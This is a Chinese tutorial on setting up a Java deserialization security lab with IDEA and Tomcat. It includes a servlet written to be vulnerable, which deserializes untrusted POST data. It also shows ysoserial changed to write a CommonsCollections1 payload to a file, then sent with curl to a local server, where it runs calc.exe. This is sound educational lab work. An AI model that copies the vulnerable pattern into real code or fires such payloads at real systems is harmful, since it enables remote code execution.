前置准备
(截图使用了mac和windows两个版本,应该影响不大。)
1、简单学一下java、了解方法、类、构造器、重载、继承、反射等
2、环境下载,装好IDEA、Tomcat、下载好各版本的JDK(jre)
基础配置
新建项目,选择Java Enterprise,
idea为我们准备好了一些常用的依赖包,这里选择servlet
这里输入项目名称,group一般设为小组、公司名,artifact是部署的实例名
项目创建好之后,目录应该是这样。在webapp目录下创建我们的helloworld
。
创建文件叫index.jsp
,在<body>
标签里写入hello world.
然后下一步是配置中间件,这里用tomcat为例做一个示范,点击右上角的小三角形,在选择edit configurations
点左边的+号,找到 Tomcat Server中的Local。右侧配置Name,在Application Server选择tomcat放置的目录,然后点击Deployment。
在这加一个artifact,这就是一个实例,需要部署war,告诉tomcat把什么项目部署到它上面。
上述完事之后,就可以点OK。然后点RUN,让我们的hello world
跑起来。
然后等待右下角的deploy的logo信息完成。
然后打开浏览器,在地址栏输入http://localhost:8080/servletdemo_war/
(这个地址也能载配置tomcat的URL地方找到)
这里成功输出了hello world。然后我们去tomcat目录看一下是否被idea部署上了项目。
搞一个servlet
上面我们已经搞了一个简陋版的hello world
,相当于在index.php
PHP文件里嵌入的HTML代码<body>hello world</body>
,我们还并没有开始写Java代码,我们下面就是要实现Java版的<?php echo 'hello world';?>
。吐槽一句,这两者的对比是否让大家体会到入门复杂度的区别了吧。不过PHP8.0最近更新,朋友圈哀嚎一片。
我还是要说!
PHP是世界上最好的语言
首先,需要在src/main/java上右击,创建一个新的servlet。
然后在src/main/webapp/WEB-INF/web.xml配置servlet
图中我加了一些注释,简单说就是 servlet-name这个配置需要相同,servlet-class需要与servlet代码的文件名相同,url-pattern需要和浏览器输入的url中路径相同。
下面开始写代码,我们可以看到我们创建的firstServlet
已经有初始化代码了,我们写的各个servlet都是继承了HttpServlet类,我们需要实现他的doGet()、与doPost()方法。
@WebServlet(name = "firstServlet")
//这里是注释配置访问servlet,暂时不管
public class firstServlet extends HttpServlet {
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
doGet(request, response);
//把post请求也交给doGet处理
}
protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
PrintWriter out = response.getWriter();
out.write("Hello world from firstServlet");
out.close();
}
}
然后,我们把最开始的index.jsp改一改
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
<head>
<title>Title</title>
</head>
<body>
hello world!
<a href="firstservlet"> Go to firstServlet </a>>
</body>
</html>
然后重新部署一下,
在浏览器访问http://localhost:8080/servletdemo_war/
我们刚改的index.jsp已经生效了,点击 Go to firstServlet
测试一下servlet。
点击一下,发现结果符合预期。
到这,我们就完成了servlet版的helloword。
反序列化的Webdemo
这里使用ysoserial的CC1漏洞,这里首先需要保证JRE的环境是小于18_271的。这里我选择了前一个版本,也就是18_66。
然后写一个demoserver的Servlet和web.xml代码。
<!DOCTYPE web-app PUBLIC
"-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"
"http://java.sun.com/dtd/web-app_2_3.dtd" >
<web-app>
<display-name>Archetype Created Web Application</display-name>
<servlet>
<servlet-name>demoserver</servlet-name>
<servlet-class>demoservlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>demoserver</servlet-name>
<url-pattern>/demoserver</url-pattern>
</servlet-mapping>
</web-app>
import javax.servlet.*;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.*;
@WebServlet(name = "demoserver")
//这里是注释配置访问servlet
public class demoservlet extends HttpServlet {
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
//接受POST请求传输的流,并进行反序列化操作
ServletInputStream sis = request.getInputStream();
ObjectInputStream ois = new ObjectInputStream(sis);
try{
ois.readObject();
}catch (ClassNotFoundException e){
e.printStackTrace();
}
ois.close();
}
protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
PrintWriter out = response.getWriter();
out.write("Hello world from firstServlet");
out.close();
}
}
在pom.xml文件里写上commoncollection3.1的依赖,因为ysoserial的CC1基于这个版本。
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>
下面是结构图。
去tomcat的目录看一下依赖有没有正确的导入。这里可以看到commons-collections-3.1
已经导入。
ysoserial生成payload
现在close掉刚才的Web项目。下载ysoserial项目,然后把项目包放到Idea的项目文件夹里。(这里也可以就地打开项目,但是ysoserial后期用的多,建议移到Idea的项目文件夹)
git clone https://github.com/frohoff/ysoserial.git
使用Idea打开pom.xml文件,选择open as project
。然后等待依赖下载,完成后,左边的的External Libraries
会有很多依赖。如果pom还有红色报错可以手动下载依赖导入一下(亦可以暂时不理会,前期不一定会用到对应依赖)。
导入完成后,给项目添加一个运行环境,注意这里创建Application
就可以了。
这里我们使用CommonsCollections1
来执行calc.exe
命令,注意ysoserial的的main函数在GeneratePayload
Run一下代码,会发现工具输出了一串字符,这个payload
是Java的stream
不全部是可见字符,我们可以加一段代码,让工具把payload
写入文件。
关键的序列化代码在这里,使用Ctrl+左键跟踪定义。
然后就是序列化生成payload的方法了,添加的代码写到注释里了。代码有红色报错的话,就是用Idea的自动debug功能添加相关的依赖。
public static void serialize(final Object obj, final OutputStream out) throws IOException {
final ObjectOutputStream objOut = new ObjectOutputStream(out);
objOut.writeObject(obj);
//*****************这里添加一个生产payload文件的代码
try{
FileOutputStream fout = new FileOutputStream("./payload.ser");
ObjectOutputStream ot = new ObjectOutputStream(fout);
ot.writeObject(obj);
ot.close();
fout.close();
}catch (FileNotFoundException FNFE){
System.out.println("./payload.ser Not Found");
}
//*****************
}
代码的作用就是在当前目录输出一个payload.ser的二进制文件,便于我们使用。
运行项目生成payload文件。用hexdump简单看一下,有反序列化的明显特征。
测试Payload
启动一下burp,换一下代理端口(8080被tomcat占用了)。把ysoserial项目close掉,打开一开始我们创建的demoweb项目,启动tomcat。然后使用Curl来进行发送我们的payload。
curl -x http://127.0.0.1:8081 http://localhost:8080/demoserver_war_exploded//demoserver --data-binary @payload.ser
- -x 配置了Burp的http代理
- 后面直接跟目标的URL
- --data-binary 会以POST发送二进制数据
成功执行。
动态调试
CC1的漏洞链会经过LazyMap,在那里打一个断点测试动态调试。双击shift
搜索LazyMap
public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {//打断点
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}
把tomcat切换为debug模式,在Burp里重发一下
成功调试。
到这里一个Java安全学习的环境基本就搭建好了,后面会更新常见的JAVA安全漏洞环境。
致谢
感谢phithon、kingx、noxxx、Epicccal